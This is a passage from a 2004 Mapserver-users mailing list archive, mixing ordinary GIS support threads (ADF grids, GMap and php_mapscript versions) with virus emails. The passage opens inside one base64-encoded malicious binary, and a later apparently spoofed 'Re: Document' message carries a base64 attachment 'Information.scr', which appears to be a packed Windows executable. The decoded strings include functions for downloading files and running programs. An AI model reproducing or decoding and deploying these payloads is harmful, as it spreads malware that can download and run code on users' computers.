AAAAAK71AAAAAAAAuPUAAAAAAADM9QAAAAAAANj1AAAAAAAA6PUAAAAAAABLRVJORUwzMi5E TEwAYWR2YXBpMzIuZGxsAGdkaTMyLmRsbABvbGUzMi5kbGwAU0hFTEwzMi5kbGwAc2hsd2Fw aS5kbGwAdXJsbW9uLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQuZGxsAHdzb2NrMzIuZGxsAAAA TG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtl eQAAAERlbGV0ZURDAABDb0luaXRpYWxpemUAAFNoZWxsRXhlY3V0ZUEAAABTdHJEdXBBAAAA VVJMRG93bmxvYWRUb0ZpbGVBAAB3c3ByaW50ZkEAAABJbnRlcm5ldE9wZW5BAAAAYmluZAAA AAAAAAAAAAAAAAAAAAAAAAkoUxy5Y52nUCBxWDYHhX24qqwOAhJzmFMSl7MDiTZMvqB3laFB mBUJYho0v72Hv68FCLAHEj00GIy1RQ6jAT+wUHF0hUozh11ymWAmOl98nFC2R2uBQVJsdX5O oJo0uXKyfjitdZdYZTFWGzEYs6sDTD6QkBGgknJzv2JNuIkQCxZsYkUOuZQfcm5paLBJWXiD LE6TIa4xH10Mw42NQ0CtH45bSSg3T02SpUwam31haQSPvKiwsTW8XrdOl8Gjig1vFx5xF8NT DkmouSGWhms8pCl/Ky+kAjIlXUVhAJGVaoPGbmFvjKiwxDMSjr9RSGCWRF1CRbkKXpgxKmgo hJnEFLp6rHguYGWrAUq9mAqVEsRegERAe2NXXjkgxQMmK418kSY/i3gBmlQjE4e/uoePqAIF ezGNYUhxc65AOSpdg2fDW4OLVqk5JqIVsT2RSoNkfqDDeQREpa+qL6xXFqu2gMcKXKO5RGmN UYxTHXpIp0aYRSWRKpFCGa4EaRg2uJiXma5EDIkpOS9mW34mA4yoeWmFfHe5l3exDceAwJ1I jS0VsYcNPFc3wIgFVFmUNE9at0JZtj09s1cZMad6ZWeAoEkXGpq1McWVYiOtkrgMs5xyuLkH UBkST4HHVxMJI3EBHx6zkAwKb70CnI+NHhwVP18Zr2OCZAaIFrWYWriLFzsOboIrcQNVTF9F I1OjuRmuZa0lGhKFsayDFLIRNwSyoCQGATBShA6mq52cuEdCZyRTRb6IwrJ+naUMGBFjTpFt A6wOMke4rTIFcERhVkIVMRNyWGzEbqsZfIYVCcdws8cWICMJY440QV+ZOzCOr0GHHgB/jqQF HIskYjVaXW97F5yLXLCLmzY+rzhfBLFkSFkQH7WLTGYrQYnHOQMECmRgulwYLglbmICflSSf LUSQZ68nJ5mHIF1+lrGInVJ+J6+vsX5bQV+hqFYAeJFykWU7nWMxx8cUtLt7PoelkX6rUrgz Xo5VPpZhk6lOR59vPny1WTFqqpM4DIW7o5vHBkoPBBiFs1iBsVkJgGO3O0wsT54tJw6rAniQ iZ4RjngWvEWjGqxHq01eQkm2YkgxewdtCz5gZwp2hAt9KwgzaJtcvrwJKxEEGKmhJZM3NAEI w0FiRZ1/f2hfCqodBL6IwqlGqGwVdVNLwHUUkaeTDpo8iZC+ZjRlcL5mLLaXnL5vTYVsuEKy ZnsuSyoqA7GnHiJKBDA3jVQVXWRdOXFRIXyDL7WlE4l0kDp5qQw6KgbBfh5NU0e8oCMMi20C fZxZFQUUMlhAX4qroo8TdxZpZEOWGcK+Pw5+MDkoHzUvXGhtP4qVYBmteLBStwMYQo1lbr8d IZEzBJ2xKwZwk8IIAl92bbdWSb5YbJCtt1wYBXtQu7caVH21EDuNj2vCpqAJNztmcoF5G2O9 xTEZFiCovx5pv4S4OgVnRaBVjcRMZQizoR53RZBkraVHXoE0HrZ1tThTncV3aqsCoqUohIm8 j0SFkW5JXiaEfiCpErevuRV2Oy63cxVRBhpCV2qhWiIIf11BiCF2fr2SbkoHiKiVK2pNgb4c UYeusmC+VF+MSV94gi0hZTNAaVZqfbigPzm0nxpWcwIqA7ajA1+rUaQtORN/IT8FVkU6S1at lByuRlWiUsW5UWIZCJQEoLEwnsQIwZzAwJWpJZF5Yy9DE3JNVRB/R8DDN8RbjrtUWJhCVCob LSCOa1N1jnAhOEMSBrRxoCQbRIa/xYM9X1AWsm4LTIQ2U6DHjiJxTGFtZzsejlAcaD+va2+J Xz+qH0EyWVNPnhJgqU4/XAc6EjCDjyWaHMR0ipYuHjByQLa0DpAEMBk7kIMTO2UbnBe3XD9Y LZ2CslwWv2MPM6A= ----------kocepeuxqjvchubswghq-- From Mapserver-users at lists.gis.umn.edu Sat May 8 12:00:51 2004 From: Mapserver-users at lists.gis.umn.edu (Mapserver-users at lists.gis.umn.edu) Date: Sat, 08 May 2004 21:00:51 +0200 Subject: [Mapserver-users] ogrinfo & ADF binary grid In-Reply-To: References: Message-ID: <409D2E63.4000403@wp.pl> Dnia 2004-05-07 21:02, U?ytkownik Tyler Mitchell napisa?: >>I can display Arc/View ADF binary grid in MapServer (using GDAL) but >>ogrinfo seems to don't like my files :( > > You'll want to use gdalinfo not ogrinfo. These grid files are rasters > whereas ogr is for vectors (gdal is for raster datasets). You're almost > there :) Yes, gdalinfo works with my ADF files and gives me some informations. But use ogrinfo I wasn't my idea. I've seen it on mailing list. ADF format is new for me, so maybe I'm wrong, but how can I get available layers in ADF (does every ADF file have any layer, like label layer, polygon layer, etc.). I'd like to use it to make OGR connections. Some examples which show what I'm asking about. http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0405/msg00049.html http://lists.dmsolutions.ca/pipermail/mapserver-users/2002-August/003486.html Thanks for answer Marcin From dmorissette at dmsolutions.ca Sat May 8 12:19:32 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Sat, 08 May 2004 15:19:32 -0400 Subject: [Mapserver-users] JOIN fails and Xbase weeps In-Reply-To: <409CCD15.8040508@d-konstruktors.org> References: <409CCD15.8040508@d-konstruktors.org> Message-ID: <409D32C4.5030000@dmsolutions.ca> gacp wrote: > > The result of the query has this ghostly message: > > xbasewohoo > > That's it. Nothing else. > > Is this supposed to be an error message? "xbasewohoo"? TIA. > Interesting! I'm sorry I can't help with your join problem, but I have taken out that "xbasewohoo" message in both the 4.2 branch and the 4.3 development version (bug 652). Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Sat May 8 12:42:26 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Sat, 08 May 2004 15:42:26 -0400 Subject: [Mapserver-users] MapServer 4.2 beta 2 In-Reply-To: <002101c434a9$21493620$6400a8c0@Dale1> References: <409A8C22.8070501@dmsolutions.ca> <002101c434a9$21493620$6400a8c0@Dale1> Message-ID: <409D3822.30605@dmsolutions.ca> P Wilkerson wrote: > > A) Under the 4.2 beta, the ROSA applet returns the following: > > Warning: Wrong parameter count for open() in > E:\ms4w\Apache\htdocs\gmap75.pdi on line 811 > > > Fatal error: [MapServer Error]: msLayerGetShape(): Shapefile layer has not > been opened. in E:\ms4w\Apache\htdocs\gmap75.pdi on line 842 > That's probably because the gmap_ms4w.zip you used is for version 3.6 of php_mapscript. In version 4.0 and 4.2 of php_mapscript, the call to $layer->open() and a few other calls have changed, and we had to update GMap accordingly. You could download and install GMap for MapServer 4.x from: http://maptools.org/dl/gmap-ms40.zip Note that this file is not a MS4W package, so you should extract it directly under the \ms4w\apps directory of your MS4W tree since the zip file doesn't include the \ms4w\apps\ path components. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From 1wilkerson at charter.net Sat May 8 19:10:37 2004 From: 1wilkerson at charter.net (P Wilkerson) Date: Sat, 8 May 2004 22:10:37 -0400 Subject: [Mapserver-users] MapServer 4.2 beta 2 References: <409A8C22.8070501@dmsolutions.ca> <002101c434a9$21493620$6400a8c0@Dale1> <409D3822.30605@dmsolutions.ca> Message-ID: <001901c4356a$d22f57a0$6400a8c0@Dale1> Daniel, Thank you very much for the information. You are exactly right! Peter ----- Original Message ----- From: "Daniel Morissette" To: "P Wilkerson" <1wilkerson at charter.net> Cc: "mapserver-users" Sent: Saturday, May 08, 2004 3:42 PM Subject: Re: [Mapserver-users] MapServer 4.2 beta 2 > P Wilkerson wrote: > > > > A) Under the 4.2 beta, the ROSA applet returns the following: > > > > Warning: Wrong parameter count for open() in > > E:\ms4w\Apache\htdocs\gmap75.pdi on line 811 > > > > > > Fatal error: [MapServer Error]: msLayerGetShape(): Shapefile layer has not > > been opened. in E:\ms4w\Apache\htdocs\gmap75.pdi on line 842 > > > > > That's probably because the gmap_ms4w.zip you used is for version 3.6 of > php_mapscript. In version 4.0 and 4.2 of php_mapscript, the call to > $layer->open() and a few other calls have changed, and we had to update > GMap accordingly. > > You could download and install GMap for MapServer 4.x from: > http://maptools.org/dl/gmap-ms40.zip > > Note that this file is not a MS4W package, so you should extract it > directly under the \ms4w\apps directory of your MS4W tree since the zip > file doesn't include the \ms4w\apps\ path components. > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette dmorissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > From steve.lime at dnr.state.mn.us Sun May 9 08:45:14 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Sun, 09 May 2004 09:45:14 -0600 Subject: [Mapserver-users] Re: Document Message-ID: ----------zkqerpuuohpsypjbyynq Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------zkqerpuuohpsypjbyynq Content-Type: application/octet-stream; name="Information.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Information.scr" 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 